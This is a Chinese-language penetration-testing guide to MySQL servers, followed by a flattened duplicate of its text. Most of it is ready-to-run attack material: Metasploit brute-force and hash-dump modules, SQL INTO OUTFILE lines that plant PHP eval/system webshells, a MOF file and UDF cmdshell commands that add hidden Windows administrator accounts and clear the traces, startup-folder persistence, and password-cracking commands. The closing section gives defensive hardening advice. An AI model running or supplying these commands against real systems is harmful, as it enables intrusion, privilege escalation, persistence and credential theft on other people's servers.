Mysql数据库渗透及漏洞利用总结
字数 1661 2025-08-29 08:32:00

MySQL数据库渗透及漏洞利用全面指南

1. MySQL信息收集

1.1 端口信息收集

  • MySQL默认端口:3306
  • 扫描工具:
    • IISputter:直接填写3306端口扫描
    • Nmap:nmap -p 3306 192.168.1.1-254
    • 全端口扫描:nmap -p- 192.168.1.1

1.2 版本信息收集

  1. 使用Metasploit

    use auxiliary/scanner/mysql/mysql_version
    set rhosts 192.168.157.130
    run
    
  2. MySQL查询

    SELECT @@version;
    SELECT version();
    
  3. 使用SQLMap

    sqlmap.py -u url --dbms mysql
    
  4. phpMyAdmin
    登录后查看localhost->变量->服务器变量和设置中的version参数值

1.3 数据库管理信息收集

  • 常见管理工具:phpMyAdmin、Navicat for MySQL、MySQLFront
  • 配置文件可能包含数据库连接信息,如:
    • config.php
    • web.config
    • conn.asp
    • db.php/asp
    • jdbc.properties

1.4 MSF信息收集模块

  1. MySQL哈希值枚举

    use auxiliary/scanner/mysql/mysql_hashdump
    set username root
    set password root
    run
    
  2. 数据库枚举

    use auxiliary/admin/mysql/mysql_enum
    set username root
    set password root
    run
    
  3. 执行SQL语句

    use auxiliary/admin/mysql/mysql_sql
    
  4. 导出数据库结构

    use auxiliary/scanner/mysql/mysql_schemadump
    

2. MySQL密码获取

2.1 暴力破解

  1. 网页在线破解

    • 使用BurpSuite
    • phpMyAdmin多线程批量破解工具
  2. MSF暴力破解

    use auxiliary/scanner/mysql/mysql_login
    set RHOSTS 192.168.157.1-254
    set pass_file /tmp/password.txt
    set username root
    run
    
  3. Nmap扫描破解

    nmap --script=mysql-brute 192.168.157.130
    nmap --script=mysql-empty-password 192.168.195.130
    
  4. Hscan工具
    设置IP段、用户名字典和密码字典进行扫描

2.2 源代码泄露

  1. 网站备份文件

    • 查找config.phpweb.config等配置文件
    • 使用工具扫描.zip.rar.sql等备份文件
  2. 配置备份文件

    • 编辑器生成的.bak文件
    • 版本控制文件如.git.svn

2.3 文件包含

通过本地文件包含漏洞读取数据库配置文件:

<?php include($_GET['file']); ?>

访问:http://example.com/vuln.php?file=../../config.php

2.4 其他方式

  • 网络嗅探工具如Cain
  • 客户端连接记录
  • 内存提取

3. MySQL获取Webshell

3.1 phpMyAdmin获取Webshell

  1. 直接导出后门

    SELECT '<?php @eval($_POST[antian365]);?>' INTO OUTFILE '/var/www/html/shell.php'
    
  2. 通过表导出

    CREATE TABLE `mysql`.`antian365` (`temp` TEXT NOTNULL);
    INSERT INTO `mysql`.`antian365` (`temp`) VALUES('<?php @eval($_POST[antian365]);?>');
    SELECT `temp` FROM `antian365` INTO OUTFILE '/var/www/html/shell.php';
    DROP TABLE IF EXISTS `antian365`;
    
  3. 命令执行方式

    SELECT '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\';?>' INTO OUTFILE '/var/www/html/cmd.php'
    
  4. 加密Webshell

    SELECT unhex('十六进制字符串') INTO DUMPFILE '/var/www/html/shell.php'
    
  5. general_log_file方法

    SET global general_log='on';
    SET global general_log_file='/var/www/html/shell.php';
    SELECT '<?php $_GET["cmd"];?>';
    

3.2 SQLMap获取Webshell

sqlmap -u url --os-shell
echo "<?php @eval($_POST['c']);?>" > /data/www/1.php

4. MySQL提权技术

4.1 MOF提权

  1. 生成nullevt.mof文件

    #pragma namespace("\\\\.\\root\\subscription")
    instance of __EventFilter as $EventFilter {
        EventNamespace = "Root\\Cimv2";
        Name = "filtP2";
        Query = "Select * From __InstanceModificationEvent Where TargetInstance Isa \"Win32_LocalTime\" And TargetInstance.Second = 5";
        QueryLanguage = "WQL";
    };
    instance of ActiveScriptEventConsumer as $Consumer {
        Name = "consPCSV2";
        ScriptingEngine = "JScript";
        ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
    };
    instance of __FilterToConsumerBinding {
        Consumer = $Consumer;
        Filter = $EventFilter;
    };
    
  2. 导入MOF文件

    SELECT LOAD_FILE('C:\\RECYCLER\\nullevt.mof') INTO DUMPFILE 'c:/windows/system32/wbem/mof/nullevt.mof'
    
  3. MSF模块

    use exploit/windows/mysql/mysql_mof
    set rhost 192.168.157.1
    set rport 3306
    set password root
    set username root
    run
    

4.2 UDF提权

  1. 条件检查

    SELECT version();  -- 获取版本
    SELECT @@basedir;  -- 安装目录
    SHOW VARIABLES LIKE '%plugin%';  -- 插件目录
    
  2. 创建目录(MySQL 5.1+)

    SELECT 'It is dll' INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';
    SELECT 'It is dll' INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';
    
  3. 导出DLL

    SELECT unhex('DLL十六进制') INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin\\udf.dll'
    
  4. 创建函数

    CREATE FUNCTION cmdshell RETURNS STRING SONAME 'udf.dll';
    
  5. 执行命令

    SELECT cmdshell('net user antian365 Password123! /add');
    SELECT cmdshell('net localgroup administrators antian365 /add');
    
  6. 清理痕迹

    DROP FUNCTION cmdshell;
    

4.3 启动项提权

  1. 创建表并插入命令

    CREATE TABLE a (cmd text);
    INSERT INTO a VALUES ("net user antian365 Password123! /add");
    INSERT INTO a VALUES ("net localgroup administrators antian365 /add");
    
  2. 导出到启动项

    SELECT * FROM a INTO OUTFILE 'C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\a.bat';
    
  3. MSF模块

    use exploit/windows/mysql/mysql_start_up
    set rhost 192.168.2.1
    set rport 3306
    set username root
    set password 123456
    run
    

5. MySQL密码破解

5.1 Cain工具破解

  1. user.MYD文件中提取40位SHA1哈希
  2. 使用Cain的Cracker模块添加哈希进行破解

5.2 在线破解

  • cmd5.com(收费)
  • somd5.com(免费但有限制)

5.3 Hashcat破解

hashcat64.exe -m 200 mysql.hash pass.dict  # MySQL323
hashcat64.exe -m 300 mysql.hash pass.dict  # MySQL4.1/5.x

5.4 John the Ripper

echo "81F5E21E35407D884A6CD4A731AEBFB6AF209E1B" > hashes.txt
john --format=mysql-sha1 hashes.txt

6. 其他漏洞利用

6.1 MySQL身份认证漏洞(CVE-2012-2122)

use auxiliary/scanner/mysql/mysql_authbypass_hashdump

6.2 MSF其他模块

use exploit/windows/mysql/mysql_yassl_hello
use exploit/windows/mysql/scrutinizer_upload_exec

7. 防御建议

  1. 最小权限原则

    • 为应用分配最小必要权限
    • 避免使用root账户连接
  2. 安全配置

    • 设置secure-file-priv限制文件导出
    • 禁用LOAD_FILEINTO OUTFILE功能
    • 限制远程连接
  3. 密码安全

    • 使用强密码策略
    • 定期更换密码
    • 避免密码重用
  4. 日志监控

    • 启用MySQL审计日志
    • 监控异常查询行为
  5. 补丁更新

    • 及时应用安全补丁
    • 升级到最新稳定版本
  6. 网络防护

    • 防火墙限制3306端口访问
    • 使用VPN或SSH隧道访问
  7. 文件权限

    • 限制插件目录写入权限
    • 检查启动项目录权限
  8. 安全审计

    • 定期进行渗透测试
    • 检查UDF函数和存储过程

通过以上全面的MySQL渗透测试技术,安全人员可以有效地评估MySQL数据库的安全性,同时管理员也可以根据这些技术加强数据库的安全防护。

MySQL数据库渗透及漏洞利用全面指南 1. MySQL信息收集 1.1 端口信息收集 MySQL默认端口:3306 扫描工具: IISputter:直接填写3306端口扫描 Nmap: nmap -p 3306 192.168.1.1-254 全端口扫描: nmap -p- 192.168.1.1 1.2 版本信息收集 使用Metasploit : MySQL查询 : 使用SQLMap : phpMyAdmin : 登录后查看 localhost->变量->服务器变量和设置 中的 version 参数值 1.3 数据库管理信息收集 常见管理工具:phpMyAdmin、Navicat for MySQL、MySQLFront 配置文件可能包含数据库连接信息,如: config.php web.config conn.asp db.php/asp jdbc.properties 1.4 MSF信息收集模块 MySQL哈希值枚举 : 数据库枚举 : 执行SQL语句 : 导出数据库结构 : 2. MySQL密码获取 2.1 暴力破解 网页在线破解 : 使用BurpSuite phpMyAdmin多线程批量破解工具 MSF暴力破解 : Nmap扫描破解 : Hscan工具 : 设置IP段、用户名字典和密码字典进行扫描 2.2 源代码泄露 网站备份文件 : 查找 config.php 、 web.config 等配置文件 使用工具扫描 .zip 、 .rar 、 .sql 等备份文件 配置备份文件 : 编辑器生成的 .bak 文件 版本控制文件如 .git 、 .svn 2.3 文件包含 通过本地文件包含漏洞读取数据库配置文件: 访问: http://example.com/vuln.php?file=../../config.php 2.4 其他方式 网络嗅探工具如Cain 客户端连接记录 内存提取 3. MySQL获取Webshell 3.1 phpMyAdmin获取Webshell 直接导出后门 : 通过表导出 : 命令执行方式 : 加密Webshell : general_ log_ file方法 : 3.2 SQLMap获取Webshell 4. MySQL提权技术 4.1 MOF提权 生成nullevt.mof文件 : 导入MOF文件 : MSF模块 : 4.2 UDF提权 条件检查 : 创建目录(MySQL 5.1+) : 导出DLL : 创建函数 : 执行命令 : 清理痕迹 : 4.3 启动项提权 创建表并插入命令 : 导出到启动项 : MSF模块 : 5. MySQL密码破解 5.1 Cain工具破解 从 user.MYD 文件中提取40位SHA1哈希 使用Cain的Cracker模块添加哈希进行破解 5.2 在线破解 cmd5.com(收费) somd5.com(免费但有限制) 5.3 Hashcat破解 5.4 John the Ripper 6. 其他漏洞利用 6.1 MySQL身份认证漏洞(CVE-2012-2122) 6.2 MSF其他模块 7. 防御建议 最小权限原则 : 为应用分配最小必要权限 避免使用root账户连接 安全配置 : 设置 secure-file-priv 限制文件导出 禁用 LOAD_FILE 和 INTO OUTFILE 功能 限制远程连接 密码安全 : 使用强密码策略 定期更换密码 避免密码重用 日志监控 : 启用MySQL审计日志 监控异常查询行为 补丁更新 : 及时应用安全补丁 升级到最新稳定版本 网络防护 : 防火墙限制3306端口访问 使用VPN或SSH隧道访问 文件权限 : 限制插件目录写入权限 检查启动项目录权限 安全审计 : 定期进行渗透测试 检查UDF函数和存储过程 通过以上全面的MySQL渗透测试技术,安全人员可以有效地评估MySQL数据库的安全性,同时管理员也可以根据这些技术加强数据库的安全防护。